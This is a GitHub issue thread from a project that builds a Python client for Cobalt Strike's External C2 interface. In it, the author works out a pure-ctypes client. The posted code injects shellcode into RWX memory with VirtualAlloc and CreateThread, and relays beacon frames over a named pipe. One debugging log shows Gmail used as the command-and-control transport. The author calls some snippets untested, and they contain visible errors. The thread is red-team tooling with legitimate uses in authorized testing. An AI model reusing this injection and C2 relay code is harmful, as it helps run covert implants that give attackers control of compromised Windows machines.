Und3rf10w / external_c2_framework

Python api for usage with cobalt strike's External C2 specification
224 stars 95 forks source link

Create a client that is a full python implementation #4

Closed Und3rf10w closed 6 years ago

Und3rf10w commented 6 years ago

Currently, the client relies on a dll to be distributed with it that it calls with ctypes to write and read from the beacon pipe, and inject the process.

This could all probably be done entirely with the ctypes library in python.

For example, the stager injection process currently looks like this:

DWORD length = (DWORD) pylen;
char * payloadE = VirtualAlloc(0, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(payloadE, payload, length);
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE) payloadE, (LPVOID) NULL, 0, NULL);

Something similar could be entirely in python as so:

import ctypes

def injectStager(stager_payload):
    shellcode = bytearray(stager_payload)
    ptr = ctypes.windll.kernel31.VirtualAlloc(ctypes.c_int(0),
        ctypes.c_int(len(shellcode)),
        ctypes.c_int(0x300), # MEM_COMMIT?
        ctypes.c_int(0x40)) #PAGE_EXECUTE_READWRITE?

    buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

    ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), buf, ctypes.c_int(len(shellcode)))

    ctypes.windll.kernel32.CreateThread(None,
        ctypes.c_int(0),
        ctypes.c_int(ptr),
        None,
        ctypes.c_int(0),
        None)

Ideally, the read_frame, write_frame, and creation of the beacon named pipe would be reimplemented in this manner as well.

Und3rf10w commented 6 years ago

Here's some untested possible code to use:

import ctypes

MAXLEN = 1024*1024

# Open file handle to the beacon
def open_handle():
    handle_beacon = ctypes.windll.kernel32.CreateFileA("\\\\.\\pipe\\foobar", GENERIC_READ | GENERIC_WRITE, 0, None, OPEN_EXISTING, SECURITY_SQOS_PRESENT | SECURITY_ANONYMOUS, None)
    return handle_beacon

# Inject the shellcode
def injectBeacon(payload):
    # lib.start_beacon(payload,len(payload))
    payloadPtr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), 
            ctypes.c_int(len(payload)), 
            ctypes.c_int(0x1000), # MEM_COMMIT
            ctypes.c_int(0x40)) # PAGE_EXECUTE_READWRITE
    ctypes.memmove(ctypes.addressof(payloadPtr), payload, ctypes.c_int(len(payload)))
    ctypes.windll.kernel32.CreateThread(None, 0, ctypes.c_int(payloadPtr), None, 0, None)

# Read the frame
def ReadFrame(handle_beacon):
    mem = ctypes.create_string_buffer(MAXLEN)
    # lib.read_frame(hPipe,mem,MAXLEN)

    temp = 0
    total = 0
    # DWORD size = 0, temp = 0, total = 0;
    size = ctypes.windll.kernel32.ReadFile(handle_beacon, mem, 4, ctypes.byref(temp), None)
    while (total < size):
        # sleep(3)
        ctypes.windll.kernel32.ReadFile(handle_beacon, mem + total, size - total, ctypes.byref(temp), None)
        total += temp

    return size

# Write the frame
def WriteFrame(handle_beacon, chunk):
    # ret = lib.write_frame(hPipe, c_char_pipe(chunk), c_int(len(chunk)))
    wrote = 0
    # Write the size of the frame
    ctypes.windll.kernel32.WriteFile(handle_beacon, ctypes.c_int(len(chunk)), 4, ctypes.byref(wrote), None)
    # Return the written data
    return ctypes.windll.kernel32.WriteFile(handle_beacon, ctypes.c_char_pipe(chunk), ctypes.c_int(len(chunk)), ctypes.byref(wrote), None)

Need to test and debug.

Und3rf10w commented 6 years ago

Getting very close with the changes introduced in eb9a919. I'm having an issue where the beacon process keeps dying before I'm able to read a second frame. I can successfully get metadata, but once I write an empty task to the beacon, it seems to die before I can read the next frame.

Here's the client side output for more info:

Waiting for stager...
['502']
Got a stager! loading...
Loaded, and got handle to beacon. Getting METADATA.
Received 132 bytes from pipe
relaying chunk to server
Checking for new tasks from transport
['504']
Got new task: 
Writing 1 bytes to pipe
Writing to pipe: 

Traceback (most recent call last):
  File "C:\Users\xxxxxxxx\Downloads\gmail_client.py", line 224, in <module>
    interact(handle_beacon)
  File "C:\Users\xxxxxxxx\Downloads\gmail_client.py", line 194, in interact
    chunk = ReadPipe(handle_beacon)
  File "C:\Users\xxxxxxxx\Downloads\gmail_client.py", line 157, in ReadPipe
    return read_frame(handle)
  File "C:\Users\xxxxxxxx\Downloads\gmail_client.py", line 151, in read_frame
    result, size = win32file.ReadFile(handle, 4, None)
error: (233, 'ReadFile', 'No process is on the other end of the pipe.')

Obviously, I know that the read_frame() function works because it's reading and relaying the metadata properly... No clue why I'm getting 'No process is on the other end of the pipe.'

Und3rf10w commented 6 years ago

Got a python client to work with commit 0c08281! I tested it with the transport_gmail module, and it works fine.